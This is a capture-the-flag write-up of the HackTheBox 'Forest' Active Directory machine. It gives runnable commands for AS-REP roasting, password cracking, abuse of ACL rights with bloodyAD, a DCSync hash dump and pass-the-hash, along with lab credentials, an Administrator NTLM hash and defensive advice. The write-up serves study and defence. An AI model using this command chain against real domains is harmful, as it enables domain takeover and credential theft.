# OSCP Prep #6 HTB Write-Up
Forest

# 1\. Target Overview

*   **Machine Name:** Forest
    
*   **Platform:** HackTheBox
    
*   **Operating System:** Windows
    
*   **Environment Type:** Active Directory
    

### Overview

Forest is a Windows **Active Directory domain environment** hosted on HackTheBox. The objective of this engagement was to enumerate the exposed domain services, identify weaknesses in the Active Directory configuration, and leverage those weaknesses to escalate privileges until full control of the domain was achieved.

Because domain controllers manage authentication and permissions across the network, misconfigurations in services such as **LDAP, Kerberos, SMB, and RPC** can often expose valuable attack paths that allow an attacker to move from basic enumeration to full domain compromise.

## Tools Used

*   **Rustscan** — Fast port scanner used to quickly identify open ports and services on the target system before deeper enumeration.
    
*   **Nmap** — Network scanning tool used for service detection and script-based enumeration of the target’s services and domain information.
    
*   **NetExec (nxc)** — Post-exploitation and enumeration framework used to test SMB authentication and check for anonymous access to shares.
    
*   **rpcclient** — Tool used to interact with Windows RPC services, allowing anonymous enumeration of domain users.
    
*   **Impacket (GetNPUsers)** — Script used to perform **AS-REP roasting** and retrieve Kerberos authentication hashes for accounts with preauthentication disabled.
    
*   **John the Ripper** — Password cracking tool used to recover plaintext credentials from the captured AS-REP hash.
    
*   **Evil-WinRM** — Tool used to obtain a remote PowerShell session on the target system using valid domain credentials.
    
*   **SharpHound** — BloodHound data collector executed on the compromised host to gather Active Directory relationship data.
    
*   **BloodHound** — Graph-based Active Directory analysis tool used to visualize privilege relationships and identify escalation paths.
    
*   **bloodyAD** — Tool used to manipulate Active Directory objects and permissions, enabling the abuse of **GenericAll** and **WriteDACL** privileges.
    
*   **Impacket (secretsdump)** — Tool used to perform a **DCSync attack** and extract domain password hashes directly from the domain controller.
    
*   **Impacket (psexec)** — Tool used to perform a **Pass-the-Hash attack** to obtain a SYSTEM shell using the recovered Administrator NTLM hash.
    

# 2\. Enumeration

### Port Scanning

As always, I began the engagement with a port scan to identify exposed services on the target machine.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/88399856-957c-4241-a3c4-b154e9e7b2d8.png align="center")

The scan revealed several open ports associated with a **Windows Active Directory environment**.

Key services discovered included:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1f2faf4-32ff-4624-a2b3-49fd6dbb5f7f.png align="center")

The presence of these services strongly indicated that the target machine was functioning as an **Active Directory Domain Controller**.

### Domain Information Discovery

The Nmap service detection scripts also revealed useful domain information:

```plaintext
Domain name: htb.local
FQDN: FOREST.htb.local
Computer name: FOREST
OS: Windows Server 2016 Standard
```

This information is extremely valuable during Active Directory engagements because the **Fully Qualified Domain Name (FQDN)** is required for several domain-based attacks and enumeration techniques.

### Active Directory Checklist — Step 1

Following my standard **Active Directory attack checklist**, the first step after discovering the domain name is to add the domain controller’s FQDN to the local hosts file.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3db6b821-8a25-4245-9915-b7cc41c46ec0.png align="center")

I then added the following entry:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/83ec0830-4ff6-42a1-a7de-c5ab96caea68.png align="center")

This ensures that domain-related tools such as **Kerberos, LDAP queries, and BloodHound collection** can correctly resolve the domain controller.

### Active Directory Checklist — Step 2

The next step in my Active Directory enumeration methodology is to check **SMB for anonymous access**, which can sometimes expose shared directories containing credentials, configuration files, or other sensitive data.

To test this, I used **NetExec** to attempt anonymous SMB authentication and enumerate available shares.

The output confirmed that the server is running Windows Server 2016 in the htb.local domain. However, the attempt to enumerate shares using anonymous authentication failed.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5f8f6d5d-a522-4ccc-adeb-77e351643b66.png align="center")

This indicates that **anonymous SMB access is disabled**, preventing unauthenticated users from listing available shares on the system.

Since SMB enumeration did not yield useful results without credentials, I moved on to the next step in the Active Directory enumeration process

### Active Directory Checklist — Step 3

Since anonymous SMB share enumeration was disabled, the next step was to attempt **user enumeration through RPC**. In many Active Directory environments, it is still possible to query domain information anonymously using the **RPC service**.

To test this, I connected to the target using `rpcclient` with a **null session**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c1d8e076-f332-4893-a604-7d912a285e9b.png align="center")

Once connected, I used the following command to enumerate domain users:

```plaintext
enumdomusers
```

This successfully returned a list of domain accounts along with their associated **Relative Identifiers (RIDs)**.

The ability to enumerate users anonymously is extremely valuable during an Active Directory assessment because it provides a **valid username list** that can later be used for techniques such as:

*   **Password spraying**
    
*   **AS-REP roasting**
    
*   **Kerberos attacks**
    
*   **Credential brute forcing**
    

At this stage, I had successfully gathered a list of valid domain users and could proceed with further enumeration and credential attack techniques.

### Active Directory Checklist — Step 4: AS-REP Roasting

After identifying valid domain users, the next step in my Active Directory enumeration methodology is to attempt **AS-REP roasting**.

This technique targets accounts configured with the Kerberos setting **“Do not require Kerberos preauthentication.”**

Under normal circumstances, when a user requests a **Ticket Granting Ticket (TGT)** from the domain controller, Kerberos requires the user to prove knowledge of their password first through **preauthentication**. However, if this security control is disabled for an account, the domain controller will return an **AS-REP response encrypted with the user’s password hash** without requiring authentication.

Because of this behavior, an attacker can request authentication data for these accounts **without knowing the password**, capture the encrypted response, and then **crack it offline** to recover the plaintext password.

This makes AS-REP roasting extremely useful in situations like this one where **valid usernames have been discovered but no credentials have yet been obtained**.

* * *

### Creating a User List

Using the users discovered during RPC enumeration, I created a user list for testing.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bbd990ed-2194-4941-9894-5fe1b16c31ab.png align="center")

* * *

### Attempting AS-REP Roasting

To test these accounts, I used **Impacket’s** `GetNPUsers` **script**, which checks whether any of the supplied users have Kerberos preauthentication disabled.

Most accounts returned the message: "user doesn't have UF\_DONT\_REQUIRE\_PREAUTH set"

However, the account **svc-alfresco** was vulnerable and returned a **Kerberos AS-REP hash**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c40e8b4b-045f-4e72-898a-d2647fe1fd02.png align="center")

This is a critical discovery because the returned hash can now be **cracked offline** using tools such as **Hashcat or John the Ripper** in order to recover the account’s plaintext password.

# 3\. Exploitation

### Cracking the AS-REP Hash

After successfully retrieving the **AS-REP hash for the** `svc-alfresco` **account**, the next step was to attempt cracking the hash offline in order to recover the account’s password.

Offline cracking is advantageous because it allows repeated password attempts **without interacting with the domain controller**, avoiding account lockouts and detection.

I saved the hash to a file named `hash.txt` and used **John the Ripper** with the well-known `rockyou.txt` wordlist.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6d6df9de-6b10-4561-a933-9f9f9e0148aa.png align="center")

John quickly succeeded in cracking the hash and recovered the plaintext password for the `svc-alfresco` account.

```plaintext
s3rvice
```

This gave me my **first set of valid domain credentials**, which could now be used to authenticate to domain services and continue the attack chain.

Compromising a service account like this is often extremely valuable in Active Directory environments because service accounts frequently have **elevated permissions or delegated privileges** that can be leveraged for further escalation within the domain.

### Initial Access via WinRM

After recovering the password for the `svc-alfresco` account, the next step in my Active Directory attack methodology is to begin **post-credential domain enumeration**. At this stage, the priority is to run **BloodHound** in order to map relationships, permissions, and potential privilege escalation paths within the domain.

BloodHound requires a **collector** to gather data from the domain environment. The two common options are:

*   **SharpHound** — the official BloodHound collector written in C#
    
*   **RustHound** — a Rust-based alternative that can be run externally
    

The preferred approach is to run **SharpHound internally** because it collects more complete and accurate domain data. However, this requires obtaining a **shell on a domain-joined system**.

Because of this, the next step was to check whether the compromised user had access to **WinRM**, which would allow remote command execution on the target.

I attempted authentication using **Evil-WinRM** with the credentials recovered from the AS-REP roasting attack.

The login was successful and returned a remote PowerShell session.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cde18445-ede3-4551-9aa8-d52a28074b1a.png align="center")

This confirmed that the credentials were valid and that the **svc-alfresco account had WinRM access**, providing an interactive shell on the target system.

### BloodHound Data Collection (SharpHound)

Now that I had obtained a **WinRM shell on the target**, I could proceed with running **SharpHound**, the BloodHound data collector. Running SharpHound internally from a compromised domain machine allows for more complete and accurate collection of Active Directory relationship data.

Using the Evil-WinRM session, I first uploaded the SharpHound binary to the target system.

The file was successfully transferred to the user’s Documents directory:

With the collector uploaded, I executed SharpHound using the `-c all` flag to gather all available BloodHound collection methods.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/67b7608d-0e15-4bce-bc9e-2ca6d7f80e0d.png align="center")

SharpHound began collecting Active Directory information including:

*   Users
    
*   Groups
    
*   Local administrator relationships
    
*   Sessions
    
*   Logged-on users
    
*   ACLs
    
*   Trust relationships
    
*   GPO permissions
    
*   SPNs and delegation paths
    

After the enumeration process completed, SharpHound generated a **ZIP archive containing the collected data**.

### Importing Data into BloodHound

After SharpHound finished collecting domain information, it generated a **ZIP archive containing the enumeration results**. This archive contains multiple JSON files that describe relationships between users, groups, computers, permissions, and other objects in the Active Directory environment.

I downloaded the generated ZIP file from the compromised host to my Kali machine using the Evil-WinRM session.

With the data retrieved, I launched **BloodHound** on my Kali system and imported the SharpHound results.

# 4\. Privilege Escalation

### Identifying a Privilege Escalation Path with BloodHound

After importing the SharpHound data into BloodHound, I began analyzing the privileges associated with the compromised account **svc-alfresco**. To do this, I searched for the user node in BloodHound and ran a query to **find the shortest path to Domain Admins**.

BloodHound revealed a privilege escalation chain requiring **two steps** to reach the **Administrator** account, which is a member of the **Domain Admins** group.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a8d6998e-7ab3-4b72-b41f-cffb186212fc.png align="center")

### Step 1: Join Exchange Windows Permissions

The first part of the attack path involved the following group membership chain:

```plaintext
svc-alfresco
   ↓
Service Accounts
   ↓
Privileged IT Accounts
   ↓
Account Operators
```

Because of this nested membership, the **svc-alfresco account effectively inherits the privileges of the Account Operators group**.

BloodHound revealed that **Account Operators has** `GenericAll` **privileges over the group** `Exchange Windows Permissions`.

If we inspect this relationship in BloodHound and open the **Abuse Info** panel, it explains the permission:

> Members of ACCOUNT OPERATORS@HTB.LOCAL have GenericAll permissions to the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL.

The **GenericAll** permission represents **full control** over the target object. This means a user with this privilege can fully manipulate the object, including:

*   Adding or removing members
    
*   Modifying attributes
    
*   Changing permissions
    

Because of this, a member of **Account Operators** can add themselves to the **Exchange Windows Permissions** group.

* * *

### Step 2: Abusing WriteDACL on the Domain

The second part of the escalation path relies on the privileges associated with the **Exchange Windows Permissions** group.

Members of this group have **WriteDACL permissions on the domain object**.

To understand why this is powerful, it’s important to understand what **WriteDACL** means.

A **DACL (Discretionary Access Control List)** is the list of permissions that controls **who can access or modify an Active Directory object**.

The **WriteDACL permission allows a user to modify that permissions list itself**.

In practice, this means a user with WriteDACL can:

*   Grant themselves new permissions on the domain
    
*   Assign **DCSync rights**
    
*   Modify security descriptors
    
*   Delegate full administrative access
    

Because of this, gaining membership in **Exchange Windows Permissions** allows an attacker to **modify the domain’s permissions** and grant themselves privileges that ultimately lead to **Domain Admin level control**.

### Abusing Exchange Windows Permissions

After identifying the privilege escalation path in BloodHound, the first step was to abuse the **GenericAll permission** that the **Account Operators** group had over the **Exchange Windows Permissions** group.

Since the compromised account `svc-alfresco` effectively inherited the privileges of **Account Operators**, it could manipulate the membership of the **Exchange Windows Permissions** group.

To do this, I used the **bloodyAD** tool to add the compromised account to the group.

```plaintext
bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add groupmember "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco"
```

The command successfully added the user to the group.

```plaintext
svc-alfresco added to EXCHANGE WINDOWS PERMISSIONS
```

* * *

### Granting DCSync Privileges

As discovered earlier in BloodHound, members of the **Exchange Windows Permissions** group have **WriteDACL permissions on the domain object**.

This allows members of the group to modify the domain’s access control list and grant themselves powerful permissions. One of the most dangerous permissions that can be assigned in this way is **DCSync**.

DCSync allows a user to simulate the behavior of a **Domain Controller replication request**. In practice, this means the attacker can request password hashes directly from the domain controller, including hashes for highly privileged accounts such as **Domain Administrators**.

Using **bloodyAD**, I granted the compromised account DCSync privileges on the domain.

```plaintext
bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add dcsync svc-alfresco
```

The command successfully granted replication privileges.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6b9a22d6-df05-4c9d-b9ec-73fefcfb6691.png align="center")

* * *

### Dumping Domain Password Hashes

With DCSync privileges obtained, I used **Impacket’s** `secretsdump` **tool** to replicate credential data from the domain controller.

This command successfully dumped the **NTLM password hashes for domain accounts**, including the hash for the **Administrator** account.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1bd59b11-94af-4183-9dc2-a115c5868c06.png align="center")

At this point, I had obtained the **Administrator NTLM hash**, which could be used for a **Pass-the-Hash attack**.

* * *

### Pass-the-Hash with PsExec

Using the recovered Administrator hash, I performed a **Pass-the-Hash attack** with Impacket’s `psexec` tool to obtain a SYSTEM shell on the domain controller.

The attack succeeded and returned a remote command shell.

This confirmed full compromise of the domain controller with **SYSTEM-level privileges**, completing the attack chain.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5bb76cf1-144c-4c60-8a8a-9acac4425a55.png align="center")

# 5\. Lessons Learned

This machine highlighted several important Active Directory attack techniques and enumeration strategies that can be extremely useful during domain engagements.

### Anonymous RPC Enumeration is Still Possible

Even when **anonymous SMB share enumeration is disabled**, it may still be possible to enumerate domain information anonymously through other services. In this case, although SMB access was denied, I was still able to query the domain using **RPC via** `rpcclient`.

This allowed me to enumerate valid domain users without authentication, which ultimately provided the **username list required for further attacks**.

This demonstrates that disabling anonymous SMB access alone does not fully prevent anonymous domain enumeration.

* * *

### AS-REP Roasting Can Work Without Credentials

Once valid usernames were discovered, I attempted **AS-REP roasting**, which targets accounts configured with **Kerberos preauthentication disabled**.

This attack is particularly powerful because it **does not require a password**. Instead, the domain controller returns an authentication response encrypted with the user’s password hash, which can then be cracked offline.

In this case, the `svc-alfresco` account was vulnerable, allowing me to recover valid domain credentials and gain an initial foothold.

Because of this, **AS-REP roasting should always be attempted when valid usernames are available**.

* * *

### Always Test WinRM Access

After obtaining credentials, I immediately checked whether the compromised account had WinRM access.

This is an important step because WinRM provides remote PowerShell access to the target system, which allows attackers to execute commands and run post-exploitation tools directly on the machine.

In this engagement, WinRM access allowed me to obtain a shell on the domain controller and run SharpHound, enabling deeper Active Directory enumeration.

* * *

### GenericAll and WriteDACL Are Extremely Powerful Privileges

Two of the most powerful permissions that can appear in Active Directory attack paths are **GenericAll** and **WriteDACL**.

*   **GenericAll** provides full control over an object.
    
*   **WriteDACL** allows an attacker to modify the object's permissions.
    

In this engagement, the Account Operators group had GenericAll over the Exchange Windows Permissions group, which allowed me to add the compromised account to that group.

Members of the Exchange Windows Permissions group had WriteDACL on the domain object, which made it possible to grant the compromised account DCSync privileges.

Once DCSync privileges were obtained, I was able to replicate password data from the domain controller and retrieve the Administrator NTLM hash, leading to full domain compromise.

Because of their impact, GenericAll and WriteDACL permissions should always be prioritized during BloodHound analysis, as they frequently lead directly to privilege escalation.

# 6\. Defensive Insights

This attack chain highlights several security weaknesses that defenders should address to better protect Active Directory environments from similar privilege escalation attacks.

### Restrict Anonymous Domain Enumeration

Although anonymous SMB share access was disabled on the target, it was still possible to enumerate domain users anonymously through **RPC using** `rpcclient`. This allowed an attacker to build a valid username list without authentication, which later enabled further attacks.

Organizations should ensure that **anonymous RPC access is restricted** and that domain controllers are configured to prevent unauthenticated users from querying domain information.

Monitoring for unusual anonymous enumeration attempts can also help detect attackers early in the reconnaissance phase.

* * *

### Enforce Kerberos Preauthentication

The initial foothold in this attack came from **AS-REP roasting**, which was possible because the `svc-alfresco` account had **Kerberos preauthentication disabled**.

Accounts configured this way allow attackers to request Kerberos authentication responses without providing a password. These responses can then be cracked offline to recover the user’s credentials.

To prevent this attack:

*   Ensure **Kerberos preauthentication is enabled for all accounts**
    
*   Audit domain users for the **UF\_DONT\_REQUIRE\_PREAUTH** flag
    
*   Avoid using service accounts with insecure Kerberos configurations
    

Regularly reviewing account settings can eliminate this vulnerability entirely.

* * *

### Limit Service Account Privileges

The compromised account in this environment was a **service account**, which often have elevated privileges or delegated permissions. In this case, nested group memberships ultimately allowed the account to inherit the privileges of **Account Operators**, which played a key role in the escalation path.

Service accounts should follow the **principle of least privilege**, meaning they should only have the permissions absolutely required for their intended function.

Reducing unnecessary group memberships can significantly limit the damage caused if a service account becomes compromised.

* * *

### Audit Dangerous Active Directory Permissions

The most critical weakness in this environment was the permission structure involving:

*   **GenericAll over the Exchange Windows Permissions group**
    
*   **WriteDACL over the domain object**
    

These permissions allowed an attacker to manipulate group memberships and ultimately grant themselves **DCSync privileges**, which led directly to full domain compromise.

Organizations should regularly audit their Active Directory environment for dangerous permissions such as:

*   **GenericAll**
    
*   **WriteDACL**
    
*   **WriteOwner**
    
*   **GenericWrite**
    

Tools such as **BloodHound** can be used defensively to identify and remediate these privilege escalation paths before attackers discover them.

* * *

### Monitor and Restrict DCSync Capabilities

Once an attacker obtains **DCSync privileges**, they can replicate password hashes directly from the domain controller, including those of highly privileged accounts such as Domain Administrators.

To mitigate this risk:

*   Limit replication privileges to **domain controllers only**
    
*   Monitor for unusual **directory replication requests**
    
*   Implement alerting for tools commonly used to perform DCSync attacks
    

Detecting abnormal replication activity can provide an opportunity to stop attackers before full domain compromise occurs.

# Useful Commands

* * *

### SMB Anonymous Enumeration

Check whether anonymous SMB authentication is allowed and attempt to enumerate shares.

```plaintext
nxc smb 10.129.95.210 -u '' -p '' --shares
```

* * *

### RPC Anonymous Enumeration

Connect to the RPC service anonymously and enumerate domain users.

```plaintext
rpcclient -U "" -N 10.129.95.210
```

```plaintext
enumdomusers
```

* * *

### AS-REP Roasting

Attempt to retrieve Kerberos AS-REP hashes for users with **preauthentication disabled**.

```plaintext
impacket-GetNPUsers -request htb.local/ -no-pass -dc-ip 10.129.95.210 -usersfile user.txt
```

* * *

### BloodHound Data Collection

Run **SharpHound** internally to collect Active Directory data.

```plaintext
.\SharpHound.exe -c all
```

* * *

### Add User to Exchange Windows Permissions

Abuse **GenericAll** privilege using bloodyAD to add a user to the Exchange Windows Permissions group.

```plaintext
bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add groupmember "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco"
```

* * *

### Grant DCSync Privileges

Grant the compromised account replication privileges over the domain.

```plaintext
bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add dcsync svc-alfresco
```

* * *

### Dump Domain Hashes

Use Impacket to replicate domain credentials via **DCSync**.

```plaintext
impacket-secretsdump htb.local/svc-alfresco@10.129.6.141
```

* * *

### Pass-the-Hash

Use the Administrator NTLM hash to obtain a SYSTEM shell on the domain controller.

```plaintext
impacket-psexec administrator@10.129.6.141 -hashes :32693b11e6aa90eb43d32c72a07ceeae
```